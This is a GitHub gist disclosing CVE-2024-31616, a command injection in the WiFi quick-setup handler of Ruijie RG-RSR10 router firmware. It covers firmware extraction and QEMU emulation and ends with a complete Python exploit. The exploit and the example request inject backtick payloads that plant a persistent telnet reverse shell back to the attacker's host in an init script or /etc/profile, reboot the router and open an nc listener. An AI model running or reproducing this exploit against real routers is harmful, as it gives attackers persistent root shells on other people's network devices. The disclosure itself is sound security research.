Skip to content

Instantly share code, notes, and snippets.

@Swind1er
Last active April 20, 2024 00:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Swind1er/0c50e72428059fb72a4fd4d31c43f883 to your computer and use it in GitHub Desktop.
Save Swind1er/0c50e72428059fb72a4fd4d31c43f883 to your computer and use it in GitHub Desktop.
CVE-2024-31616

[CVE ID]

CVE-2024-31616 [PRODUCT] RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S

[VERSION]

RSR10-01G-T-S_RSR_3.0(1)B9P2, Release(07150910)

PROBLEM TYPE

[RCE] Authenticated Remote Command Execution

[DESCRIPTION]

Specific firmware versions of the RG-RSR10-01G-T(WA)-S series routers allow authorized attackers to trigger arbitrary command execution vulnerabilities using specific functionalities of the web management page.

Proof of Vulnerability in Ruijie (锐捷) RSR10-01G-T-S_RSR_3.0(1)B9P2, Release(07150910)

Exploit Author:Yaxuan Wang

Date: April 3, 2024, 10:23:38

Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux

Vendor Homepage

https://www.ruijie.com.cn/

Influenced Versions

RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S

Firmware Download

git clone https://github.com/Swind1er/fimware.git

Vulnerability Discovery Process

Basic Information

Extracting File System

binwalk --run-as=root -Me ./RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin

File System Information

└─# readelf -h ./bin/busybox
ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 01 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       1
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1

Architecture: MIPS big endian

└─# tree -L 1 ./usr/lib/lua/luci
./usr/lib/lua/luci
├── cacheloader.lua
├── cbi
├── cbi.lua
├── ccache.lua
├── config.lua
├── controller
├── debug.lua
├── dispatcher.lua
├── fs.lua
├── http
├── http.lua
├── i18n
├── i18n.lua
├── init.lua
├── ip.lua
├── json.lua
├── ltn12.lua
├── model
├── sauth.lua
├── sgi
├── store.lua
├── sys
├── sys.lua
├── template
├── template.lua
├── tools
├── util.lua
├── version.lua
└── view
11 directories, 19 files

You can see that the entire file system is based on the Linux openwrt architecture, using uhttpd as the server-side.

Vulnerability Location

File Location

/firmware/_RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin.extracted/squashfs-root/usr/lib/lua/luci/controller/admin/common_quick_config.lua

Vulnerable File

┌──(root㉿Dionysus)-[~/…/lua/luci/controller/admin]
└─# cat ./common_quick_config.lua       

module("luci.controller.admin.common_quick_config", package.seeall)

function index()
    entry({"admin", "common", "set_wifi"}, call("set_wifi"), nil).leaf = true
    entry({"admin", "common", "set_cwmp"}, call("set_cwmp"), nil).leaf = true
    entry({"admin", "common", "get_cwmp"}, call("get_cwmp"), nil).leaf = true
end

function trimCli(str)
    local s, n = string.gsub(str, "[^%w]", 
        function(s)
            return ("\\"..s)
        end)
    return s
end

function set_wifi()
    local disable = luci.http.formvalue("disable")
    local ssid = luci.http.formvalue("ssid")
    local key = luci.http.formvalue("password")
    local hidden = luci.http.formvalue("hidden")
    local shell = ""
    shell = shell.."uci set wireless.wifi0.disabled="..disable..";"
    shell = shell.."uci set wireless.@wifi-iface[0].ssid="..ssid..";"
    shell = shell.."uci set wireless.@wifi-iface[0].default=2.4G;"
    shell = shell.."uci set wireless.@wifi-iface[0].mode=ap;"
    shell = shell.."uci set wireless.@wifi-iface[0].encryption="..(key~="" and "psk-mixed" or "none")..";"
    shell = shell.."uci set wireless.@wifi-iface[0].key="..trimCli(key)..";"
    shell = shell.."uci set wireless.@wifi-iface[0].hidden="..hidden..";"
    shell = shell.."uci set wireless.@wifi-iface[0].network=lan;"
    shell = shell.."uci set wireless.ra0.band=2.4G;"
    shell = shell.."uci set wireless.ra1.band=5G;"
    shell = shell.."uci commit;"

    shell = shell.."/etc/init.d/m4g-ctrl restart >/dev/null 2>/dev/null;"
    shell = shell.."/etc/init.d/rns restart >/dev/null 2>/dev/null;"
    shell = shell.."/etc/init.d/network restart >/dev/null 2>/dev/null;"
    shell = shell.."/etc/init.d/sw_ethctl restart >/dev/null 2>/dev/null;"
    shell = shell.."/etc/init.d/dnsmasq restart >/dev/null 2>/dev/null;"
    shell = shell.."/etc/init.d/firewall restart >/dev/null 2>/dev/null;"
    fork_exec(shell)
    rv = {code = 0}
    luci.http.prepare_content("application/json")
    luci.http.write_json(rv)
end

--Orther Methods

function fork_exec(command)
    local pid = nixio.fork()
    if pid > 0 then
        return
    elseif pid == 0 then
        -- change to root dir
        nixio.chdir("/")

        -- patch stdin, out, err to /dev/null
        local null = nixio.open("/dev/null", "w+")
        if null then
            nixio.dup(null, nixio.stderr)
            nixio.dup(null, nixio.stdout)
            nixio.dup(null, nixio.stdin)
            if null:fileno() > 2 then
                null:close()
            end
        end

        -- replace with target command
        nixio.exec("/bin/sh", "-c", command)
    end
end

Vulnerability Description

"In the Lua control file of the quick setup feature under its admin directory, the set_wifi() function for WiFi settings does not perform complete character filtering on the user-input form data fields disable, ssid, key, and hidden. Instead, it directly concatenates them into a shell command and adds them to the instruction stream for execution. This allows users to maliciously construct payloads using the character '``', leading to arbitrary command execution."

Validation on QEMU

Image Download

Index of /~aurel32/qemu/mips (debian.org)

Here the author selects: debian_wheezy_mips_standard.qcow2, README.txt, vmlinux-3.2.0-4-4kc-malta.

Simulated Execution

Setting up a simple LAN for communication with QEMU

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 10.10.10.2/24

QEMU Networking Configuration

#In QEMU
root@debian-mips:~# ifconfig eth0 10.10.10.1

Running QEMU

qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

Packaging File System

tar -cvf squashfs-root.tar squashfs-root

Enabling Simple HTTP Server

python -m http.server 

Downloading and Unpacking File System in QEMU

root@debian-mips:~# wget http://10.10.10.2:8000/squashfs-root.tar
root@debian-mips:~# tar -zvf ./squashfs-root.tar

Configuring Basic Environment in QEMU

root@debian-mips:~# cd squashfs-root
root@debian-mips:~/squashfs-root# rm var #Binwalk may redirect some essential links to /dev>>NULL, so we need to recreate the links.
root@debian-mips:~/squashfs-root# ln -sf tmp var
root@debian-mips:~# mount -t proc /proc ./proc
root@debian-mips:~# mount -o bind /dev ./dev
root@debian-mips:~# chroot . sh

Starting uhttpd

# /etc/init.d/uhttpd start

Login to 10.10.10.1 via a web browser, default password is admin.

Vulnerability Verification

Use Burp to intercept traffic packets from the router's web interface setup wizard.

image-20240402143221638

Arbitrarily construct a legitimate entry:

image-20240402143410943

Forward the intercepted request to Repeater and construct the request as follows:

image-20240402145552806

As shown in the image, set the called function to /admin/common/set_wifi and construct a malicious request to establish a reverse connection to the host 10.10.10.2:2333. The command is as follows:

disable="true"`echo%20"mknod%20a%20p%0atelnet%2010.10.10.2%202333%200<a%20|%20/bin/sh%201>a">>/etc/profile"`&ssid=haha&password=rootroot&hidden=false

From the screenshot below, it can be seen that the request has been executed successfully.

image-20240402145636800

Our malicious command has been written to /etc/profile. Listen for connections on the attacker machine.

nc -lvvp 2333

image-20240402145856323

For testing purposes, manually trigger the connection command.

source /etc/profile

As shown in the screenshot, the router automatically connected to our host, indicating that the malicious command was executed successfully.

To further validate, the author here logs the form data processed by the server in /usr/lib/lua/luci/controller/admin/common_quick_config.lua. The code is as follows:

image-20240402151112217

Resend the malicious packet. As shown below, you can see that the form data parsed in the Lua script contains the malicious command we constructed.

image-20240402151901538

Thus, the vulnerability verification on QEMU is completed.

Physical Device Validation

Router Information

9c31742f2fd438d543ed440e24be50a

The router is powered on. Ethernet port is used for validation.

image-20240403092111656

Execute the attack script:

python ./poc.py  -c 192.168.1.1 -s 192.168.1.111  -P 23 -u admin -p newpassword

The system red light is on, indicating that the router device is rebooting.

82fa309c7fc1f9acf12781fc1361d80

As shown in the screenshot below, the router is online and the reverse connection is successful.

image-20240403091641523

POC

# -*- coding: utf-8 -*-
"""
Ruijie Router Arbitrary Command Execution POC.
MIT License

Copyright (c) 2024 Swind1er

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import argparse
import logging
import subprocess

__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"

logging.basicConfig(level=logging.INFO)

def main():
   
    parser = argparse.ArgumentParser(description='Ruijie Router Arbitrary Command Execution POC.')
    parser.add_argument('-c', '--client', metavar='Client', help='Client IP address.')
    parser.add_argument('-s', '--server', metavar='Server', help='Server IP address.')
    parser.add_argument('-u', '--username', metavar='Username',default='admin', help='Router username.')
    parser.add_argument('-p', '--password', metavar='Password',default='admin', help='Router password.')
    parser.add_argument('-P','--port',metavar='Port',default=2333,help='Port to listen on. Note:You must have installed and enabled "nc" in the command line, and allowed the specified ports in the firewall.')
    
    args = parser.parse_args()

    logging.info(f'POC author: {__author__},email:{__email__}')
    logging.info(f'Client IP: {args.client}')
    logging.info(f'Server IP: {args.server}')
   
    url = 'http://'+args.client + '/cgi-bin/router/'
    logging.info(f'URL to login: {url}')

    headers = {
    'Host': args.client,
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://'+args.client,
    'Connection': 'close',
    'Referer': 'http://'+args.client+'/cgi-bin/router',
    'Cookie': 'LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh',
    'Upgrade-Insecure-Requests': '1'
    }

    data = {
    'username': args.username,
    'password': args.password
    }

    response = requests.post(url, headers=headers, data=data)
    stok_value = ''

    if response.status_code != 200:
        logging.error(f'Failed to login in.')
        exit(0)
    sysauth_value = response.cookies.get('sysauth')
    logging.debug(f'cookie: {sysauth_value}')
    
    if 'Set-Cookie' in response.headers:
        set_cookie = response.headers['Set-Cookie']
        logging.debug(f'Set-Cookie:{set_cookie}')
        stok_value = set_cookie.split('stok=')[1]
        logging.debug(f'stok_value:{stok_value}')
    else:
        logging.warning('Set-Cookie header not found in response')
        exit(0)
    
    url = url + f';stok={stok_value}/admin/common/set_wifi'
    logging.info(f"URL to attack:{url}")

    headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Requested-With': 'XMLHttpRequest',
    'Origin': 'http://'+args.client,
    'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/router/quick_set',
    'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
    }

    data = {
    # U can do anything you want to do.
    'disable': """true`echo "config telnet\n        option enable '1'">/etc/config/telnet&&echo "#!/bin/sh /etc/rc.common\nSTART=99\nSTOP=15\nstart()\n{\nmknod backpipe p\nwhile ! telnet """+ args.server + " " + args.port + """ 0<backpipe | /bin/sh 1>backpipe; do sleep 1; done\n}">/etc/init.d/mystart&&chmod +x /etc/init.d/mystart&&/etc/init.d/mystart enable&&reboot`""" ,
    'ssid': 'nicessid',
    'password': 'rootroot',
    'hidden': 'false'
    }
    logging.debug(f"data:{data}")

    response = requests.post(url, headers=headers, data=data)

    if response.status_code < 200 or response.status_code >= 300:
        logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
        exit(0)
    else:
        logging.info('The command execution request has been sent successfully.')

    logging.info(f'Start listening on port {args.port}.')
    #That's okay because the router will reboot upon receiving our malicious command, providing enough time to start the listener.
    logging.info("Note: If you are using the QEMU simulator, you need to manually execute the following command in the simulated router's shell: 'source /etc/profile', or include it in the payload instruction stream at an appropriate position, or use simpler instructions to verify the vulnerability.")
    logging.info("Note: The router rebooting will take some time, please be patient.")
    result = subprocess.run(f'nc -lvnp {args.port}', shell=True)

    if result.returncode == 0:
        logging.info("Done")
    else:
        logging.error("Command execution failed.")
    
if __name__ == "__main__":
    main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment